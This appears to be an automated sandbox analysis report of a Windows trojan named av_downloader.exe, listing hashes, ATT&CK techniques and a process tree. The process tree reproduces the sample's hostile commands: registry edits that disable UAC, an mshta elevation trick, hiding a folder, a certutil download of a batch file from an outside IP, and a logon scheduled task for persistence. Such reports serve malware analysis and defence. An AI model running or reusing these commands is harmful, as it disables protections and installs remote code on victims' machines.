d925204430ffab51ffbbb9dc90bc224b04f0c2196769850695512245a886be06

Analysis

max time kernel
118s
max time network
121s
platform
windows7_x64
resource
win7-20240220-en
resource tags

arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system
submitted
20/04/2024, 11:56

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General

Target

av_downloader.exe
Size

90KB
MD5

8af4f985862c71682e796dcc912f27dc
SHA1

7f83117abfeff070d41d8144cf1dfe3af8607d27
SHA256

d925204430ffab51ffbbb9dc90bc224b04f0c2196769850695512245a886be06
SHA512

3d4fcd9755dc4ea005fcd46e78426c5f71b50873c5174a69abcdff41a2e0405c87a36137c0c2409abedadb0ecdf622cbfd2fa1b59a2e06c81cef68d7c6c663b7
SSDEEP

1536:v7fbN3eEDhDPA/pICdUkbBtW7upvaLU0bI5taxKo0IOlnToIfnweJbOC:D7DhdC6kzWypvaQ0FxyNTBfnBV

Score

10^/10

evasion trojan

Malware Config

Signatures

UAC bypass 3 TTPs 3 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	reg.exe

Sets file to hidden 1 TTPs 1 IoCs

Modifies file attributes to stop it showing in Explorer etc.

evasion

Hidden Files and Directories

T1564.001

pid	Process
2556	attrib.exe

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\e:	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2800	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
1656	timeout.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious use of WriteProcessMemory 47 IoCs

description	pid	Process	procid_target
PID 2172 wrote to memory of 1056	2172	av_downloader.exe	29
PID 2172 wrote to memory of 1056	2172	av_downloader.exe	29
PID 2172 wrote to memory of 1056	2172	av_downloader.exe	29
PID 2172 wrote to memory of 1056	2172	av_downloader.exe	29
PID 1056 wrote to memory of 2948	1056	cmd.exe	30
PID 1056 wrote to memory of 2948	1056	cmd.exe	30
PID 1056 wrote to memory of 2948	1056	cmd.exe	30
PID 2948 wrote to memory of 2612	2948	mshta.exe	31
PID 2948 wrote to memory of 2612	2948	mshta.exe	31
PID 2948 wrote to memory of 2612	2948	mshta.exe	31
PID 2948 wrote to memory of 2612	2948	mshta.exe	31
PID 2612 wrote to memory of 2600	2612	AV_DOW~1.EXE	33
PID 2612 wrote to memory of 2600	2612	AV_DOW~1.EXE	33
PID 2612 wrote to memory of 2600	2612	AV_DOW~1.EXE	33
PID 2612 wrote to memory of 2600	2612	AV_DOW~1.EXE	33
PID 2600 wrote to memory of 2664	2600	cmd.exe	34
PID 2600 wrote to memory of 2664	2600	cmd.exe	34
PID 2600 wrote to memory of 2664	2600	cmd.exe	34
PID 2600 wrote to memory of 2664	2600	cmd.exe	34
PID 2600 wrote to memory of 2648	2600	cmd.exe	35
PID 2600 wrote to memory of 2648	2600	cmd.exe	35
PID 2600 wrote to memory of 2648	2600	cmd.exe	35
PID 2600 wrote to memory of 2648	2600	cmd.exe	35
PID 2600 wrote to memory of 2672	2600	cmd.exe	36
PID 2600 wrote to memory of 2672	2600	cmd.exe	36
PID 2600 wrote to memory of 2672	2600	cmd.exe	36
PID 2600 wrote to memory of 2672	2600	cmd.exe	36
PID 2600 wrote to memory of 2556	2600	cmd.exe	37
PID 2600 wrote to memory of 2556	2600	cmd.exe	37
PID 2600 wrote to memory of 2556	2600	cmd.exe	37
PID 2600 wrote to memory of 2556	2600	cmd.exe	37
PID 2600 wrote to memory of 2660	2600	cmd.exe	38
PID 2600 wrote to memory of 2660	2600	cmd.exe	38
PID 2600 wrote to memory of 2660	2600	cmd.exe	38
PID 2600 wrote to memory of 2660	2600	cmd.exe	38
PID 2600 wrote to memory of 2784	2600	cmd.exe	39
PID 2600 wrote to memory of 2784	2600	cmd.exe	39
PID 2600 wrote to memory of 2784	2600	cmd.exe	39
PID 2600 wrote to memory of 2784	2600	cmd.exe	39
PID 2600 wrote to memory of 2800	2600	cmd.exe	40
PID 2600 wrote to memory of 2800	2600	cmd.exe	40
PID 2600 wrote to memory of 2800	2600	cmd.exe	40
PID 2600 wrote to memory of 2800	2600	cmd.exe	40
PID 2600 wrote to memory of 1656	2600	cmd.exe	41
PID 2600 wrote to memory of 1656	2600	cmd.exe	41
PID 2600 wrote to memory of 1656	2600	cmd.exe	41
PID 2600 wrote to memory of 1656	2600	cmd.exe	41

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2556	attrib.exe

C:\Users\Admin\AppData\Local\Temp\av_downloader.exe
"C:\Users\Admin\AppData\Local\Temp\av_downloader.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2172
- C:\Windows\system32\cmd.exe
  "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\19E7.tmp\19E8.tmp\19E9.bat C:\Users\Admin\AppData\Local\Temp\av_downloader.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1056
- - C:\Windows\system32\mshta.exe
    mshta vbscript:createobject("shell.application").shellexecute("C:\Users\Admin\AppData\Local\Temp\AV_DOW~1.EXE","goto :target","","runas",1)(window.close)
    3⤵
    - Modifies Internet Explorer settings
    - Suspicious use of WriteProcessMemory
    PID:2948
  - - C:\Users\Admin\AppData\Local\Temp\AV_DOW~1.EXE
      "C:\Users\Admin\AppData\Local\Temp\AV_DOW~1.EXE" goto :target
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2612
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd" /c "C:\Users\Admin\AppData\Local\Temp\1AE0.tmp\1AE1.tmp\1AE2.bat C:\Users\Admin\AppData\Local\Temp\AV_DOW~1.EXE goto :target"
        5⤵
        Enumerates connected drives
        Suspicious use of WriteProcessMemory
        
        PID:2600
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t reg_dword /d 0 /F
        6⤵
        UAC bypass
        
        PID:2664
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t reg_dword /d 0 /F
        6⤵
        UAC bypass
        
        PID:2648
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "PromptOnSecureDesktop" /t reg_dword /d 0 /F
        6⤵
        UAC bypass
        
        PID:2672
      - C:\Windows\SysWOW64\attrib.exe
        
        attrib +s +h e:\net
        6⤵
        Sets file to hidden
        Views/modifies file attributes
        
        PID:2556
      - C:\Windows\SysWOW64\certutil.exe
        
        certutil -urlcache -split -f http://206.217.142.166:1234/windows/dr/dr.bat e:\net\dr\dr.bat
        6⤵
        
        PID:2660
      - C:\Windows\SysWOW64\certutil.exe
        
        certutil -urlcache * delete
        6⤵
        
        PID:2784
      - C:\Windows\SysWOW64\schtasks.exe
        
        SchTasks /Create /SC ONLOGON /TN "my dr" /TR "e:\net\dr\dr.bat" /f
        6⤵
        Creates scheduled task(s)
        
        PID:2800
      - C:\Windows\SysWOW64\timeout.exe
        
        TIMEOUT /T 100
        6⤵
        Delays execution with timeout.exe
        
        PID:1656

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\D91B1967EF3D6973EA9AE658EC3C1C5D

Filesize
1KB

MD5
ce802b6e8add0c59b4c1ceea614bafa3

SHA1
06bfafde5c85d2ea230ebccf8db6f0d9e39520a1

SHA256
419010826148482cca4ad662fdbdc8eac445b4b6181e4a1f4b62d7eb7783f4e2

SHA512
8acd430a20f444bd2fc45b059805cb608d19e95edd60576340dcbce99072e6e58be43fc0bd61c031698279c964f748ffebf01ef94a7c7e90f02b2b0f041fe6e8

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C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\D91B1967EF3D6973EA9AE658EC3C1C5D

Filesize
248B

MD5
cfb7e784f71f38f832bf229dd089caa5

SHA1
0af0c4ed8ad6b7561e5088186d57133bb0b1d710

SHA256
fde43a8cbed55ed2accba41d7b9baca977e2912810e9f2773e66095e2310b9a0

SHA512
4fe41f8af32e0d9e60e25323ac849bc5ce25a6ffe0ae77e8cc8c6f2d1e7e9dc011cdc52c91db92948ff956334a48d14e4a1206c25de49e2d107b4147e0172823

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C:\Users\Admin\AppData\Local\Temp\19E7.tmp\19E8.tmp\19E9.bat

Filesize
965B

MD5
db5421114f689cfb1c82edf49fddd7a4

SHA1
a1987cfe0b38bdac3fe75bae72137463a0843fac

SHA256
edb8e629e2c5ae4498d0f00cb4540f185cf6136ba11898a542d2fdd34394379a

SHA512
6eaf5f71787046951ffc1fe98c3fdae7dd5a36214cf4971146a94d200bbf2037a8f87e1afa81e05b2d34083d298b0254ac23d2b2e518b6e75fab38e5ca376281

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads